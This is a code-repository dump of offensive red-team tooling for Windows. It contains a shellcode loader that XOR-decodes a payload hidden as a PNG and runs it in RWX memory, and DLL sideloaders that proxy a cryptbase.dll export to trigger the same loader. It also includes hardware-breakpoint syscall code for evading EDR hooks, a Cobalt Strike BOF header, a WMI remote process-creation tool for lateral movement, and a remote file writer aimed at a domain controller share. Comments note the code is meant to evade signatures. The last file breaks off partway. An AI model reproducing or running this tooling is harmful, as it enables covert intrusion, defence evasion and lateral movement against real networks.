exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
if (!exceptionHandlerHandle) {
printf("[!] Could not register VEH: 0x%X\n", GetLastError());
return false;
}
return SetMainBreakpoint();
}
bool DeinitHWSyscalls() {
return RemoveVectoredExceptionHandler(exceptionHandlerHandle) != 0;
}
+104
View File
@@ -0,0 +1,104 @@
#pragma once
#include <windows.h>
#include <inttypes.h>
#include <stdio.h>
#pragma region Defines
#define HWSYSCALLS_DEBUG 0 // 0 disable, 1 enable
#define UP -32
#define DOWN 32
#define STACK_ARGS_LENGTH 8
#define STACK_ARGS_RSP_OFFSET 0x28
#define X64_PEB_OFFSET 0x60
#pragma endregion
#pragma region Macros
#if HWSYSCALLS_DEBUG == 0
#define DEBUG_PRINT( STR, ... )
#else
#define DEBUG_PRINT( STR, ... ) printf(STR);
#endif
#pragma endregion
#pragma region Type Defintions
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[21];
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved3[520];
PVOID PostProcessInitRoutine;
BYTE Reserved4[136];
ULONG SessionId;
} PEB, * PPEB;
typedef BOOL(WINAPI* GetThreadContext_t)(
_In_ HANDLE hThread,
_Inout_ LPCONTEXT lpContext
);
typedef BOOL(WINAPI* SetThreadContext_t)(
_In_ HANDLE hThread,
_In_ CONST CONTEXT* lpContext
);
#pragma endregion
#pragma region Function Declerations
BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask);
DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask);
DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask);
UINT64 GetModuleAddress(LPWSTR sModuleName);
UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName);
UINT64 PrepareSyscall(char* functionName);
bool SetMainBreakpoint();
DWORD64 FindSyscallNumber(DWORD64 functionAddress);
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber);
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo);
bool InitHWSyscalls();
bool DeinitHWSyscalls();
#pragma endregion
+62
View File
@@ -0,0 +1,62 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
BIN
View File
Binary file not shown.
+13
View File
@@ -0,0 +1,13 @@
EXPORTS
SystemFunction001="c:\\windows\\system32\\cryptbase.SystemFunction001" @1
SystemFunction002="c:\\windows\\system32\\cryptbase.SystemFunction002" @2
SystemFunction003="c:\\windows\\system32\\cryptbase.SystemFunction003" @3
SystemFunction004="c:\\windows\\system32\\cryptbase.SystemFunction004" @4
SystemFunction005="c:\\windows\\system32\\cryptbase.SystemFunction005" @5
SystemFunction028="c:\\windows\\system32\\cryptbase.SystemFunction028" @6
SystemFunction029="c:\\windows\\system32\\cryptbase.SystemFunction029" @7
SystemFunction034="c:\\windows\\system32\\cryptbase.SystemFunction034" @8
#SystemFunction036="c:\\windows\\system32\\cryptbase.SystemFunction036" @9
SystemFunction040="c:\\windows\\system32\\cryptbase.SystemFunction040" @10
SystemFunction041="c:\\windows\\system32\\cryptbase.SystemFunction041" @11
SystemFunction036=SystemFunction036_Proxy
+58
View File
@@ -0,0 +1,58 @@
// x86_64-w64-mingw32-gcc loader.c -static -w -s -Wl,-subsystem,windows -o loader.exe
// Use make!
#include <stdio.h>
#include <windows.h>
unsigned char* decoded;
int math(unsigned char *encoded, unsigned char key[], int keylen, int long size)
{
decoded = (unsigned char*)malloc(size);
for (int i = 0; i < size; i++)
{
decoded[i] = encoded[i] ^ key[i % keylen];
}
return 0;
}
int main(int argc, char *argv[])
{
char *fileName = "C:\\Windows\\image02.png";
printf("Attemping to read %s\n", fileName);
// Get size of raw shellcode file
FILE * file = fopen(fileName, "rb");
if (file == NULL) return 1;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
// Allocate memory according to size, and read contents of file into buffer
file = fopen(fileName, "rb");
unsigned char * shellcode = (unsigned char *) malloc(size);
int bytes_read = fread(shellcode, sizeof(unsigned char), size, file);
fclose(file);
// XOR key. Make sure it matches the key used to encode shellcode
unsigned char key[] = "OPERATORCHANGEMEPLZZZ";
// random crap... helps evade some signatures feel free to replace with whatever...
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode = 0;
GetConsoleMode(hStdin, &mode);
SetConsoleMode(hStdin, mode & (~ENABLE_ECHO_INPUT));
// decode shellcode and free heap memory
math(shellcode, key, strlen(key), size);
free(shellcode);
// allocate RWX memory, copy decoded shellcode, and free heap memory
void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, decoded, size);
free(decoded);
//execute shellcode via function pointer
((void(*)())exec)();
return 0;
}
+83
View File
@@ -0,0 +1,83 @@
// x86_64-w64-mingw32-gcc sideloader.c cryptbase.def -static -w -s -Wl,-subsystem,windows -shared -o /share/sideloader.dll
// sideload options: compmgmtlauncher.exe, disksnapshot.exe, filehistory.exe, quickassist.exe
#include <windows.h>
#include <stdio.h>
unsigned char* decoded;
int decode(unsigned char *encoded, unsigned char key[], int keylen, int long size)
{
decoded = (unsigned char*)malloc(size);
for (int i = 0; i < size; i++)
{
decoded[i] = encoded[i] ^ key[i % keylen];
}
return 0;
}
int hittem()
{
char *fileName = "C:\\Windows\\image02.png";
// Get size of raw shellcode file
FILE * file = fopen(fileName, "rb");
if (file == NULL) return 1;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
// Allocate memory according to size, and read contents of file into buffer
file = fopen(fileName, "rb");
unsigned char * shellcode = (unsigned char *) malloc(size);
int bytes_read = fread(shellcode, sizeof(unsigned char), size, file);
fclose(file);
// XOR key. Make sure it matches the key used to encode shellcode
unsigned char key[] = "OPERATORCHANGEMEPLZZZ";
// random crap... helps evade some signatures; feel free to replace with whatever...
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode = 0;
GetConsoleMode(hStdin, &mode);
SetConsoleMode(hStdin, mode & (~ENABLE_ECHO_INPUT));
// decode shellcode and free heap memory
decode(shellcode, key, strlen(key), size);
free(shellcode);
// allocate RWX memory, copy decoded shellcode, and free heap memory
void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, decoded, size);
free(decoded);
//execute shellcode via function pointer
((void(*)())exec)();
return 0;
}
typedef BOOL(*SystemFunction036_Type)(void* buffer, ULONG len);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
__declspec(dllexport) DWORD SystemFunction036_Proxy(void* buffer, ULONG len)
{
// Call function to load shellcode
hittem();
// Load original DLL and get function pointer
SystemFunction036_Type Original_SystemFunction036 = (SystemFunction036_Type)GetProcAddress(LoadLibrary("C:\\Windows\\System32\\CRYPTBASE.dll"), "SystemFunction036");
BOOL result = Original_SystemFunction036(buffer, len);
return result;
}
+106
View File
@@ -0,0 +1,106 @@
// x86_64-w64-mingw32-g++ -static sideloader.cpp HWSyscalls.cpp cryptbase.def -s -w -shared -o /share/sideloader.dll -fpermissive
// sideload into DiskSnapShot.exe as cryptbase.dll
#include <iostream>
#include "HWSyscalls.h"
typedef NTSTATUS(NTAPI *NtAllocateVirtualMemory_t)(HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
unsigned char* decoded;
int decode(unsigned char *encoded, unsigned char key[], int keylen, int long size)
{
decoded = (unsigned char*)malloc(size);
for (int i = 0; i < size; i++)
{
decoded[i] = encoded[i] ^ key[i % keylen];
}
return 0;
}
int hittem()
{
char *fileName = "C:\\Windows\\image02.png";
// Get size of raw shellcode file
FILE * file = fopen(fileName, "rb");
if (file == NULL) return 1;
fseek(file, 0, SEEK_END);
SIZE_T size = ftell(file);
fclose(file);
// Allocate memory according to size, and read contents of file into buffer
file = fopen(fileName, "rb");
unsigned char * shellcode = (unsigned char *) malloc(size);
int bytes_read = fread(shellcode, sizeof(unsigned char), size, file);
fclose(file);
// XOR key. Make sure it matches the key used to encode shellcode
unsigned char key[] = "OPERATORCHANGEMEPLZZZ";
// random crap... helps evade some signatures; feel free to replace with whatever...
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode = 0;
GetConsoleMode(hStdin, &mode);
SetConsoleMode(hStdin, mode & (~ENABLE_ECHO_INPUT));
// decode shellcode and free heap memory
decode(shellcode, key, strlen(key), size);
free(shellcode);
NtAllocateVirtualMemory_t pNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)PrepareSyscall((char*)"NtAllocateVirtualMemory");
if (!pNtAllocateVirtualMemory) {
std::cerr << "[-] Failed to prepare syscall for NtAllocateVirtualMemory." << std::endl;
return -2;
}
NTSTATUS status = 0;
PVOID base_addr = NULL;
status = pNtAllocateVirtualMemory(GetCurrentProcess(), &base_addr, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "[+] NtAllocateVirtualMemory result: " << status << std::endl;
// allocate RWX memory, copy decoded shellcode, and free heap memory
memcpy(base_addr, decoded, size);
free(decoded);
//execute shellcode via function pointer
((void(*)())base_addr)();
return 0;
}
typedef BOOL(*SystemFunction036_Type)(void* buffer, ULONG len);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) DWORD SystemFunction036_Proxy(void* buffer, ULONG len)
{
//init syscalls
if (!InitHWSyscalls())
return -1;
// Call function to load shellcode
hittem();
//de-init syscalls
if (DeinitHWSyscalls())
std::cout << "[+] Cleaned up the exception handler." << std::endl;
else
std::cerr << "[-] Failed to clean up the exception handler." << std::endl;
// Load original DLL and get function pointer
SystemFunction036_Type Original_SystemFunction036 = (SystemFunction036_Type)GetProcAddress(LoadLibrary("C:\\Windows\\System32\\CRYPTBASE.dll"), "SystemFunction036");
BOOL result = Original_SystemFunction036(buffer, len);
return result;
}
+316
View File
@@ -0,0 +1,316 @@
// x86_64-w64-mingw32-g++ -o /share/test.exe wmiexec.cpp -I include -l oleaut32 -l ole32 -l wbemuuid -w -static
#define _WIN32_DCOM
#define UNICODE
#include <iostream>
#include <comdef.h>
#include <wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "credui.lib")
#pragma comment(lib, "comsuppw.lib")
#include <strsafe.h>
static wchar_t* charToWChar(const char* text)
{
size_t size = strlen(text) + 1;
wchar_t* wa = new wchar_t[size];
mbstowcs(wa,text,size);
return wa;
}
int __cdecl main(int argc, char **argv)
{
HRESULT hres;
// Step 1: --------------------------------------------------
// Initialize COM. ------------------------------------------
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
std::cout << "Failed to initialize COM library. Error code = 0x"
<< std::hex << hres << std::endl;
return 1; // Program has failed.
}
// Step 2: --------------------------------------------------
// Set general COM security levels --------------------------
hres = CoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IDENTIFY, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
if (FAILED(hres))
{
std::cout << "Failed to initialize security. Error code = 0x"
<< std::hex << hres << std::endl;
CoUninitialize();
return 1; // Program has failed.
}
// Step 3: ---------------------------------------------------
// Obtain the initial locator to WMI -------------------------
IWbemLocator *pLoc = NULL;
hres = CoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID *) &pLoc);
if (FAILED(hres))
{
std::cout << "Failed to create IWbemLocator object."
<< " Err code = 0x"
<< std::hex << hres << std::endl;
CoUninitialize();
return 1; // Program has failed.
}
// Step 4: -----------------------------------------------------
// Connect to WMI through the IWbemLocator::ConnectServer method
IWbemServices *pSvc = NULL;
// Connect to the remote root\cimv2 namespace
// and obtain pointer pSvc to make IWbemServices calls.
//---------------------------------------------------------
// GET TARGET SERVER FROM CLI. MUST CONVERT INTO BSTR USING METHOD DESCRIBED BELOW
// https://stackoverflow.com/questions/606075/how-to-convert-char-to-bstr
//BSTR srv = SysAllocString(L"\\\\dc1\\ROOT\\CIMV2");
printf("argv[1]: %s\n", argv[1]);
char targetHost[50];
int j = snprintf(targetHost, 32, "\\\\%s\\ROOT\\CIMV2", argv[1]);
printf("targetHost: %s\n", targetHost);
int wslen = MultiByteToWideChar(CP_ACP, 0, targetHost, strlen(targetHost), 0, 0);
BSTR srv = SysAllocStringLen(0, wslen);
MultiByteToWideChar(CP_ACP, 0, targetHost, strlen(targetHost), srv, wslen);
// GET COMMAND FROM ARGV. Make sure you run via cmd if redirecting output
printf("argv[2]: %s\n", argv[2]);
wslen = MultiByteToWideChar(CP_ACP, 0, argv[2], strlen(argv[2]), 0, 0);
BSTR wcCommandExecute = SysAllocStringLen(0, wslen);
MultiByteToWideChar(CP_ACP, 0, argv[2], strlen(argv[2]), wcCommandExecute, wslen);
hres = pLoc->ConnectServer(
srv,
NULL, // User name
NULL, // User password
NULL, // Locale
NULL, // Security flags
NULL,// Authority
NULL, // Context object
&pSvc // IWbemServices proxy
);
if (FAILED(hres))
{
std::cout << "Could not connect. Error code = 0x"
<< std::hex << hres << std::endl;
pLoc->Release();
CoUninitialize();
return 1; // Program has failed.
}
std::cout << "Connected to ROOT\\CIMV2 WMI namespace" << std::endl;
// step 5: --------------------------------------------------
// Create COAUTHIDENTITY that can be used for setting security on proxy
COAUTHIDENTITY *userAcct = NULL ;
COAUTHIDENTITY authIdent;
// Step 6: --------------------------------------------------
// Set security levels on a WMI connection ------------------
hres = CoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_DEFAULT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_DEFAULT, // RPC_C_AUTHZ_xxx
COLE_DEFAULT_PRINCIPAL, // Server principal name
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
userAcct, // client identity
EOAC_NONE // proxy capabilities
);
if (FAILED(hres))
{
std::cout << "Could not set proxy blanket. Error code = 0x"
<< std::hex << hres << std::endl;
pSvc->Release();
pLoc->Release();
CoUninitialize();
return 1; // Program has failed.
}
// Step 7: --------------------------------------------------
// Use the IWbemServices pointer to make requests of WMI ----
// ADDED CODE TO EXECUTE
IWbemClassObject* pClass = NULL;
IWbemClassObject* pStartupObject = NULL;
IWbemClassObject* pStartupInstance = NULL;
IWbemClassObject* pInParamsDefinition = NULL;
IWbemClassObject* pParamsInstance = NULL;
BSTR wcClassName = SysAllocString(L"Win32_Process"); //Class name
BSTR wcMethodName = SysAllocString(L"Create"); //Class name
BSTR wcStartup = SysAllocString(L"Win32_ProcessStartup"); //Class name
hres = pSvc->GetObject(wcClassName, 0, NULL, &pClass, NULL);
if (!SUCCEEDED(hres)) {
printf("GetObject failed: 0x%08x", hres);
return 1;
}
//pInParamsDefinition will receive the paramters signature for the Win32_Process.Create(...) method. We should fill these params and call the method
//We cannot ignore this step because the "Put" method later on will check for the parameter names.
hres = pClass->GetMethod(wcMethodName, 0, &pInParamsDefinition, NULL);
if (!SUCCEEDED(hres)) {
printf("GetMethod failed: 0x%08x", hres);
return 1;
}
//We will fill the parameters in the pParamsInstance instance
hres = pInParamsDefinition->SpawnInstance(0, &pParamsInstance);
if (!SUCCEEDED(hres)) {
printf("SpawnInstance failed: 0x%08x", hres);
return 1;
}
//Getting the Win32_ProcessStartup class definition. One of the parameters to the Win32_Process.Create() is a of type Win32_ProcessStartup, so we must create an object of that type and fill it
hres = pSvc->GetObject(wcStartup, 0, NULL, &pStartupObject, NULL);
if (!SUCCEEDED(hres)) {
printf("GetObject2 failed: 0x%08x", hres);
return 1;
}
hres = pStartupObject->SpawnInstance(0, &pStartupInstance); //Create an instance of Win32_ProcessStartup
if (!SUCCEEDED(hres)) {
printf("SpawnInstance2 failed: 0x%08x", hres);
return 1;
}
//Let's now fill the the pStartupInstance instance, remember that after we fill it, we need to add it to the pParamsInstance
//Filling the pStartupInstance
{
BSTR wcProcessStartupInfo = SysAllocString(L"ProcessStartupInformation");
{
BSTR wcShowWindow = SysAllocString(L"ShowWindow"); //This is the name of the propoerty, we can't change it!
//Arg: create the arg
VARIANT varParams;
VariantInit(&varParams);
varParams.vt = VT_I2;
varParams.intVal = SW_SHOW;
//Pass the arg to the Win32_ProcessStartup instance and clean it
hres = pStartupInstance->Put(wcShowWindow, 0, &varParams, 0);
VariantClear(&varParams);
//Free String in Mem
SysFreeString(wcShowWindow);
}
VARIANT vtDispatch;
VariantInit(&vtDispatch);
vtDispatch.vt = VT_DISPATCH;
vtDispatch.byref = pStartupInstance;
hres = pParamsInstance->Put(wcProcessStartupInfo, 0, &vtDispatch, 0);
//Free String in mem
SysFreeString(wcProcessStartupInfo);
}
//Handling command execution
{
//Arg: the command to be executed
BSTR wcCommandLine = SysAllocString(L"CommandLine"); //This is the name of the propoerty, we can't change it!
//BSTR wcCommandExecute = SysAllocString(L"cmd.exe /c \"whoami > c:\\wmi2.txt\"");
//BSTR wcCommandExecute = SysAllocString(bwcommandline);
VARIANT varCommand;
VariantInit(&varCommand);
varCommand.vt = VT_BSTR;
varCommand.bstrVal = wcCommandExecute;
//Store the arg in the Win32_ProcessStartup and clean it
hres = pParamsInstance->Put(wcCommandLine, 0, &varCommand, 0);
varCommand.vt = VT_BSTR;
varCommand.bstrVal = NULL;
VariantClear(&varCommand);
//Free Strings
SysFreeString(wcCommandLine);
SysFreeString(wcCommandExecute);
}
{
BSTR wcCurrentDirectory = SysAllocString(L"CurrentDirectory"); //This is the name of the propoerty, we can't change it!
VARIANT varCurrentDir;
VariantInit(&varCurrentDir);
varCurrentDir.vt = VT_BSTR;
varCurrentDir.bstrVal = NULL;
//Store the value for the in parameters
hres = pParamsInstance->Put(wcCurrentDirectory, 0, &varCurrentDir, 0);
VariantClear(&varCurrentDir);
//Free String
SysFreeString(wcCurrentDirectory);
}
//Execute Method
IWbemClassObject* pOutParams = NULL;
hres = pSvc->ExecMethod(wcClassName, wcMethodName, 0, NULL, pParamsInstance, &pOutParams, NULL);
if (!SUCCEEDED(hres)) {
printf("ExecMethod failed: 0x%08x", hres);
return 1;
}
if (SUCCEEDED(hres)) {
printf("ExecMethod Succeeded!");
}
hres = S_OK;
// Cleanup
// ========
pSvc->Release();
pLoc->Release();
/* commented out for added code
pEnumerator->Release();
if( pclsObj )
{
pclsObj->Release();
}
*/
CoUninitialize();
SysFreeString(srv);
return 0; // Program successfully completed.
}
+62
View File
@@ -0,0 +1,62 @@
// .\write.exe .\goat.txt \\dc1\C$\oink.txt
// x86_64-w64-mingw32-gcc writefile.c -w -static -o /share/write.exe
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
char *fileName = argv[1];
printf("Attemping to read %s\n", fileName);
// Get size of raw shellcode file
FILE * file = fopen(fileName, "rb+");
if (file == NULL) return 1;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
// Allocate memory according to size, and read contents of file into buffer
file = fopen(fileName, "rb+");
unsigned char * DataBuffer = (unsigned char *) malloc(size);
int bytes_read = fread(DataBuffer, sizeof(unsigned char), size, file);
fclose(file);
HANDLE hFile;
//char DataBuffer[] = "This is some test data to write to the file.";
//DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer);
DWORD dwBytesToWrite = size;
DWORD dwBytesWritten = 0;
BOOL bErrorFlag = FALSE;
hFile = CreateFile(argv[2], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf(TEXT("Terminal failure: Unable to open file \"%s\" for write.\n"), argv[2]);
return;
}
printf(TEXT("Writing %d bytes to %s.\n"), dwBytesToWrite, argv[2]);
bErrorFlag = WriteFile(hFile, DataBuffer, dwBytesToWrite, &dwBytesWritten, NULL);
if (FALSE == bErrorFlag)
{
printf("Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != dwBytesToWrite)
{
printf("Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
printf(TEXT("Wrote %d bytes to %s successfully.\n"), dwBytesWritten, argv[2]);
}
}
CloseHandle(hFile);
return 0;
}
+312
View File
@@ -0,0 +1,312 @@
/*
* WMI Lateral Movement Via Create Process
* Adopted From: https://wikileaks.org/ciav7p1/cms/page_11628905.html
* Big big huge thanks for Raffi (rsmudge) for showing me how to create BOF with C++!
* Modified by Phil Keeble (@The_Keeb) and Steve Embling to tie in aggressor and make it dynamic
*/
// x86_64-w64-mingw32-g++ -c wmiBOF.cpp -w -o /share/ProcCreate.x64.o
#include <windows.h>
#include <stdio.h>
#include <wbemcli.h>
//#include <comdef.h> // commenting this out prevents the BOF from crashing
#include <combaseapi.h>
#pragma comment(lib, "wbemuuid.lib")
/* spare us some name mangling... */
extern "C" {
#include "beacon.h"
void go(char* buff, int len);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(wchar_t* lpsz, LPCLSID pclsid);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);
DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize();
DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(wchar_t* lpsz, LPIID lpiid);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);
DECLSPEC_IMPORT VOID WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
DECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
DECLSPEC_IMPORT VOID WINAPI OLEAUT32$SysFreeString(BSTR bstrString);
DECLSPEC_IMPORT WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
DECLSPEC_IMPORT WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
}
// Handle Cred material
void CreateCreds(COAUTHINFO** authInfo, COAUTHIDENTITY** authidentity, wchar_t* user, wchar_t* password, wchar_t* domain, int IsCurrent) {
COAUTHIDENTITY* id = (COAUTHIDENTITY*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHIDENTITY));
{
id = (COAUTHIDENTITY*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHIDENTITY));
id->User = (USHORT*)user;
id->Password = (USHORT*)password;
id->Domain = (USHORT*)domain;
id->UserLength = MSVCRT$wcslen((const wchar_t*)id->User);
id->PasswordLength = MSVCRT$wcslen((const wchar_t*)id->Password);
id->DomainLength = MSVCRT$wcslen((const wchar_t*)id->Domain);
id->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
}
if (IsCurrent == 0)
{
id = NULL;
}
COAUTHINFO* inf = (COAUTHINFO*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHINFO));
{
inf->dwAuthnSvc = RPC_C_AUTHN_WINNT;
inf->dwAuthzSvc = RPC_C_AUTHZ_NONE;
inf->pwszServerPrincName = NULL;
inf->dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT;
inf->dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
inf->pAuthIdentityData = id;
inf->dwCapabilities = EOAC_NONE;
}
*authidentity = id;
*authInfo = inf;
}
void go(char* buff, int len) {
HRESULT hr = S_OK;
IWbemLocator* locator = NULL;
COAUTHIDENTITY* authidentity = (COAUTHIDENTITY*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHIDENTITY));
COAUTHINFO* authInfo = (COAUTHINFO*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHINFO));
IWbemServices* pSvc = 0;
IWbemClassObject* pClass = NULL;
IWbemClassObject* pStartupObject = NULL;
IWbemClassObject* pStartupInstance = NULL;
IWbemClassObject* pInParamsDefinition = NULL;
IWbemClassObject* pParamsInstance = NULL;
wchar_t* Iwbmstr = OLEAUT32$SysAllocString(L"{dc12a687-737f-11cf-884d-00aa004b2e24}");
wchar_t* Cwbmstr = OLEAUT32$SysAllocString(L"{4590f811-1d3a-11d0-891f-00aa004b2e24}");
IID Iwbm;
CLSID Cwbm;
OLE32$CLSIDFromString(Cwbmstr, &Cwbm);
OLE32$IIDFromString(Iwbmstr, &Iwbm);
//BEACON operations
datap parser;
wchar_t* bwusername;
wchar_t* bwpassword;
wchar_t* bwdomain;
wchar_t* bwcommandline;
wchar_t* bwtarget2;
int IsCurrent;
//BeaconDataParse(&parser, buf, len);
